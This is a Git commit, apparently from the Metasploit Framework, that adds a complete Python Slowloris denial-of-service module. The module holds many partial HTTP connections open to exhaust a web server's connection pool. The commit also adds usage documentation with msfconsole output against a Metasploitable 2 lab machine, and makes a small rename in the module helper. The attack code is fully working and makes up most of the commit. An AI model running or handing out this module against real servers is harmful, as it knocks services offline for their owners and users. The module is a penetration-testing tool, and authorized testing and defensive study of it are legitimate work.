Land #9227, Add slowloris denial of service

This commit is contained in:
Adam Cammack 2017-11-21 15:42:39 -06:00
commit 19844fb6ed
No known key found for this signature in database
GPG Key ID: C9378BA088092D66
3 changed files with 180 additions and 3 deletions

View File

@ -0,0 +1,47 @@
## Vulnerable Application
This module tries to keep many connections to the target web server open and hold them open as long as possible.
To test this module download and setup the Metasploitable 2 vulnerable Linux virtual machine available at [https://sourceforge.net/projects/metasploitable/files/Metasploitable2/](https://sourceforge.net/projects/metasploitable/files/Metasploitable2/).
Vulnerable application versions include:
- Apache HTTP Server 1.x and 2.x
- Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27 and 7.0.0 beta
## Verification Steps
1. Start msfconsole
2. Do: `use auxiliary/dos/http/slowloris`
3. Do: `set RHOST`
4. Do: `run`
5. Visit server URL in your web-browser.
## Scenarios
### Apache/2.2.8 - Ubuntu 8.04
```
msf > use auxiliary/dos/http/slowloris
msf auxiliary(slowloris) > show options
Module options (auxiliary/dos/http/slowloris):
Name Current Setting Required Description
---- --------------- -------- -----------
delay 15 yes The delay between sending keep-alive headers
rand_user_agent true yes Randomizes user-agent with each request
rhost 172.28.128.4 yes The target address
rport 80 yes The target port
sockets 150 yes The number of sockets to use in the attack
ssl false yes Negotiate SSL/TLS for outgoing connections
msf auxiliary(slowloris) > set rhost 172.28.128.4
rhost => 172.28.128.4
msf auxiliary(slowloris) > run
[*] Starting server...
[*] Attacking 172.28.128.4 with 150 sockets
[*] Creating sockets...
[*] Sending keep-alive headers... Socket count: 150
```

View File

@ -21,15 +21,15 @@ def report_service(ip, opts={}):
}})
def run(metadata, exploit):
def run(metadata, module_callback):
req = json.loads(os.read(0, 10000))
if req['method'] == 'describe':
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'response': metadata})
elif req['method'] == 'run':
args = req['params']
exploit(args)
module_callback(args)
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'response': {
'message': 'Exploit completed'
'message': 'Module completed'
}})
def rpc_send(req):

View File

@ -0,0 +1,130 @@
#!/usr/bin/env python
# Note, works with both python 2.7 and 3
import random
import socket
import ssl
import sys
import time
from metasploit import module
metadata = {
'name': 'Slowloris Denial of Service Attack',
'description': '''
Slowloris tries to keep many connections to the target web server open and hold them open as long as possible.
It accomplishes this by opening connections to the target web server and sending a partial request.
Periodically, it will send subsequent HTTP headers, adding to-but never completing-the request.
Affected servers will keep these connections open, filling their maximum concurrent connection pool,
eventually denying additional connection attempts from clients.
''',
'authors': [
'RSnake', # Vulnerability disclosure
'Gokberk Yaltirakli', # Simple slowloris in Python
'Daniel Teixeira', # Metasploit module (Ruby)
'Matthew Kienow <matthew_kienow[AT]rapid7.com>' # Metasploit external module (Python)
],
'date': '2009-06-17',
'references': [
{'type': 'cve', 'ref': '2007-6750'},
{'type': 'cve', 'ref': '2010-2227'},
{'type': 'url', 'ref': 'https://www.exploit-db.com/exploits/8976/'},
{'type': 'url', 'ref': 'https://github.com/gkbrk/slowloris'}
],
'type': 'dos',
'options': {
'rhost': {'type': 'address', 'description': 'The target address', 'required': True, 'default': None},
'rport': {'type': 'port', 'description': 'The target port', 'required': True, 'default': 80},
'sockets': {'type': 'int', 'description': 'The number of sockets to use in the attack', 'required': True, 'default': 150},
'delay': {'type': 'int', 'description': 'The delay between sending keep-alive headers', 'required': True, 'default': 15},
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False},
'rand_user_agent': {'type': 'bool', 'description': 'Randomizes user-agent with each request', 'required': True, 'default': True}
}}
list_of_sockets = []
user_agents = [
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
"Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
]
def init_socket(host, port, use_ssl=False, rand_user_agent=True):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
if use_ssl:
s = ssl.wrap_socket(s)
s.connect((host, port))
s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
if rand_user_agent:
s.send("User-Agent: {}\r\n".format(random.choice(user_agents)).encode("utf-8"))
else:
s.send("User-Agent: {}\r\n".format(user_agents[0]).encode("utf-8"))
s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
return s
def run(args):
host = args['rhost']
port = int(args['rport'])
use_ssl = args['ssl'] == "true"
rand_user_agent = args['rand_user_agent'] == "true"
socket_count = int(args['sockets'])
delay = int(args['delay'])
module.log("Attacking %s with %s sockets" % (host, socket_count), 'info')
module.log("Creating sockets...", 'info')
for i in range(socket_count):
try:
module.log("Creating socket number %s" % (i), 'debug')
s = init_socket(host, port, use_ssl=use_ssl, rand_user_agent=rand_user_agent)
except socket.error:
break
list_of_sockets.append(s)
while True:
module.log("Sending keep-alive headers... Socket count: %s" % len(list_of_sockets), 'info')
for s in list(list_of_sockets):
try:
s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
except socket.error:
list_of_sockets.remove(s)
for _ in range(socket_count - len(list_of_sockets)):
module.log("Recreating socket...", 'debug')
try:
s = init_socket(host, port, use_ssl=use_ssl, rand_user_agent=rand_user_agent)
if s:
list_of_sockets.append(s)
except socket.error:
break
time.sleep(delay)
if __name__ == "__main__":
module.run(metadata, run)